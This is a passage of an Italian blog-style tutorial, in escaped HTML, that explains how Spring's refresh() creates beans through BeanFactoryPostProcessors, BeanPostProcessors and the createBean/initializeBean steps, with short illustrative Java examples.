&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;h3 id=&quot;refresh&quot;&gt;Refresh&lt;/h3&gt;&lt;p&gt;Una volta registrate tutte le definizioni tramite uno dei due flussi sopra descritti, atterriamo sul metodo &lt;em&gt;refresh()&lt;/em&gt;. All&amp;#x27;interno di questo metodo avverrà la creazione effettiva dei bean.&lt;/p&gt;&lt;p&gt;Questo processo è caratterizzato da diversi passaggi. Inizialmente viene recuperata la beanFactory tramite il metodo &lt;em&gt;obtainFreshBeanFactory()&lt;/em&gt;, una volta ottenuta entriamo nel metodo &lt;em&gt;invokeBeanFactoryPostProcessors(beanFactory)&lt;/em&gt; che chiamerà il suo omonimo in PostProcessorRegistrationDelegate.&lt;/p&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;java&quot; data-index=&quot;8&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;@&lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;Override&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk4&quot;&gt;public&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;void&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;refresh&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;() throws BeansException, IllegalStateException {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    ...&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;try&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;        ...&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;        &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;ConfigurableListableBeanFactory&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;beanFactory&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; = &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;obtainFreshBeanFactory&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;();&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;        ...&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;        &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;try&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;            ...&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;            &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;invokeBeanFactoryPostProcessors&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(beanFactory);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;            &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;registerBeanPostProcessors&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(beanFactory);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;            ...&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;            &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;finishBeanFactoryInitialization&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(beanFactory);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;            &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;finishRefresh&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;();&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;            ...&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;        }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;h3 id=&quot;beanfactorypostprocessor&quot;&gt;BeanFactoryPostProcessor&lt;/h3&gt;&lt;p&gt;Nel metodo &lt;em&gt;PostProcessorRegistrationDelegate.invokeBeanFactoryPostProcessors()&lt;/em&gt; verranno istanziati i &lt;strong&gt;BeanFactoryPostProcessor&lt;/strong&gt;, che sono bean particolari tramite i quali è possibile modifcare le &lt;strong&gt;BeanDefinition&lt;/strong&gt; precedentemente registrate. Ad esempio, possono essere impiegati
per svariati compiti critici. Uno dei ruoli principali è la configurazione di proprietà globali, la risoluzione delle dipendenze
o l’aggiunta di definizioni al contesto in modo dinamico.&lt;/p&gt;&lt;p&gt;È importante notare che i beanFactoryPostProcessor implementano l&amp;#x27;interfaccia funzionale
BeanFactoryPostProcessor, definendo così un contratto ben preciso per la manipolazione della configurazione del contesto
dell&amp;#x27;applicazione. È possibile stabilire priorità tra diversi beanFactoryPostProcessor, ad esempio utilizzando l&amp;#x27;interfaccia
PriorityOrdered, per gestire l&amp;#x27;ordine delle configurazioni. Ciò garantisce una gestione accurata delle dipendenze e delle proprietà
nell&amp;#x27;ambiente dell&amp;#x27;applicazione.&lt;/p&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;java&quot; data-index=&quot;9&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk4&quot;&gt;public&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;class&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;FactoryPostProcessor&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;implements&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;BeanFactoryPostProcessor&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;PriorityOrdered&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    @&lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;Override&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;public&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;void&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;postProcessBeanFactory&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;ConfigurableListableBeanFactory&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;beanFactory&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;) &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;throws&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;BeansException&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;        &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;System&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;out&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;println&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;Arrays&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;toString&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;beanFactory&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;getBeanDefinitionNames&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;()));&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    @&lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;Override&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;public&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;getOrder&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;() {&lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;return&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;; }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;h3 id=&quot;beanpostprocessor&quot;&gt;BeanPostProcessor&lt;/h3&gt;&lt;p&gt;Dopo aver istanziato e invocato i beanFactoryPostProcessor, Spring si occuperà di istanziare anche i BeanPostProcessor, che implementano
l’interfaccia &lt;strong&gt;BeanPostProcessor&lt;/strong&gt; e che a differenza dei beanFactoryPostProcessor agiscono a livello di ogni singolo bean dopo che esso è stato istanziato.
Ciò avviene all’interno del metodo &lt;em&gt;registerBeanPostProcessors()&lt;/em&gt;.&lt;/p&gt;&lt;p&gt;È possibile dichiarare static i beanPostProcessor e i beanFactoryPostProcessor, in modo da forzare Spring a inizializzarli prima
di ogni altro bean. Per comprendere meglio, consideriamo un esempio di dichiarazione di un BeanPostProcessor:&lt;/p&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;java&quot; data-index=&quot;10&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk4&quot;&gt;public&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;class&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;Processor&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;implements&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;BeanPostProcessor&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    @&lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;Override&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;public&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;Object&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;postProcessBeforeInitialization&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;Object&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;bean&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;String&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;beanName&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;) &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;throws&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;BeansException&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;        &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;System&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;out&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;println&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;bean&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;getClass&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;().&lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;getName&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;()+&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot; Before callback&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;        &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;return&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; bean;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    @&lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;Override&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;public&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;Object&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;postProcessAfterInitialization&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;Object&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;bean&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;String&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;beanName&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;) &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;throws&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;BeansException&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;        &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;System&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;out&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;println&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;bean&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;getClass&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;().&lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;getName&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;()+&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot; After callback&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;        &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;return&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; bean;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;In questo esempio, consideriamo la definizione di un BeanPostProcessor che regola il comportamento desiderato dei bean dopo
la fase di inizializzazione, ma prima o dopo l&amp;#x27;esecuzione delle callbacks di inizializzazione (afterPropertySet() e init-method). Questo permette
di dinamicizzare e modificare l&amp;#x27;istanza finale del bean, consentendo una personalizzazione dettagliata delle sue proprietà e comportamenti.
È importante sottolineare che l&amp;#x27;applicazione di tale BeanPostProcessor avviene solo successivamente alla creazione del bean.&lt;/p&gt;&lt;p&gt;Infine, la fase di istanziazione degli altri bean, che costituiscono le componenti principali dell&amp;#x27;applicazione
(annotati con @Component, @Service, @Repository, ecc.), avviene sempre all&amp;#x27;interno del metodo refresh, più precisamente
nel metodo &lt;em&gt;finishBeanFactoryInitialization()&lt;/em&gt;&lt;/p&gt;&lt;p&gt;Il processo inizia con l&amp;#x27;invocazione del metodo &lt;em&gt;doGetBean()&lt;/em&gt; della beanFactory di &lt;strong&gt;AnnotationConfigApplicationContext&lt;/strong&gt;&lt;/p&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;java&quot; data-index=&quot;11&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk4&quot;&gt;protected&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &amp;lt;T&amp;gt; &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;T&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;doGetBean&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;        &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;String&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; name, @&lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;Nullable&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;Class&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;&amp;lt;T&amp;gt; requiredType, @&lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;Nullable&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;Object&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;[] args, &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;boolean&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; typeCheckOnly)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;        throws BeansException {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;String&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;beanName&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; = &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;transformedBeanName&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(name);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    ...&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;RootBeanDefinition&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;mbd&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; = &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;getMergedLocalBeanDefinition&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(beanName);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    ...&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;return&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;createBean&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(beanName, mbd, args);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  ...&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;All&amp;#x27;interno del metodo &lt;em&gt;createBean()&lt;/em&gt; si trova il cuore del processo. Nel metodo, definito
nella classe &lt;strong&gt;AbstractAutowireCapableBeanFactory&lt;/strong&gt;, viene richiamato il metodo &lt;em&gt;doCreateBean()&lt;/em&gt;. In questa fase, viene effettuato un controllo
preliminare per verificare se il bean da istanziare è un singleton e se è già presente nella cache dei bean singleton. Se non è presente
nella cache, il metodo &lt;em&gt;createBeanInstance()&lt;/em&gt; della classe &lt;strong&gt;AbstractAutowireCapableBeanFactory&lt;/strong&gt; viene chiamato per gestire la creazione del bean.
Qui, avviene il processo di istanziazione effettiva utilizzando il metodo &lt;em&gt;instantiateUsingFactoryMethod()&lt;/em&gt; della classe ConstructorResolver.&lt;/p&gt;&lt;p&gt;Se utilizziamo l&amp;#x27;iniezione delle dipendenze tramite costruttore, è proprio in questo punto che vengono importate
nell&amp;#x27;istanza wrapper ritornata. D&amp;#x27;altra parte, utilizzando l&amp;#x27;annotazione @Autowired per l&amp;#x27;iniezione delle dipendenze, il processo
è leggermente diverso. Le dipendenze verranno inizializzate nel metodo &lt;em&gt;populateBean()&lt;/em&gt; della classe AbstractAutowireCapableBeanFactory, più precisamente
all&amp;#x27;interno del metodo &lt;em&gt;postprocessProperty()&lt;/em&gt;. Quest&amp;#x27;ultimo metodo, a sua volta, invoca &lt;em&gt;doResolveDependency()&lt;/em&gt; per risolvere le dipendenze richieste.&lt;/p&gt;&lt;p&gt;Una volta terminato il &lt;em&gt;populateBean()&lt;/em&gt; verrà chiamato &lt;em&gt;initializeBean()&lt;/em&gt; della classe AbstractAutowireCapableBeanFactory che prende il BeanName
e l&amp;#x27;istanza del bean creata precedentemente. Questo sarà il metodo che si occuperà di applicare i beanPostProcessor in modo da dinamicizzare
e modificare l’istanza finale del bean.&lt;/p&gt;&lt;p&gt;Dopo aver invocato l’&lt;em&gt;initializeBean()&lt;/em&gt;, si attivano due fasi che definiscono il comportamento del bean appena inizializzato:&lt;/p&gt;&lt;ol&gt;&lt;li&gt;&lt;strong&gt;&lt;em&gt;applyBeanPostProcessorsBeforeInitialization&lt;/em&gt;&lt;/strong&gt;: Questo metodo applica i BeanPostProcessor agendo in base alla logica
definita nel metodo &lt;em&gt;postProcessBeforeInitialization()&lt;/em&gt;. Qui, i BeanPostProcessor hanno l&amp;#x27;opportunità di manipolare e
personalizzare il bean prima che vengano eseguite le cosiddette callbacks di inizializzazione quali &lt;em&gt;afterPropertySet()&lt;/em&gt; ed eventuali init-method custom.&lt;/li&gt;&lt;/ol&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;java&quot; data-index=&quot;12&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;@&lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;Nullable&lt;/span&gt;&lt;/span&gt;
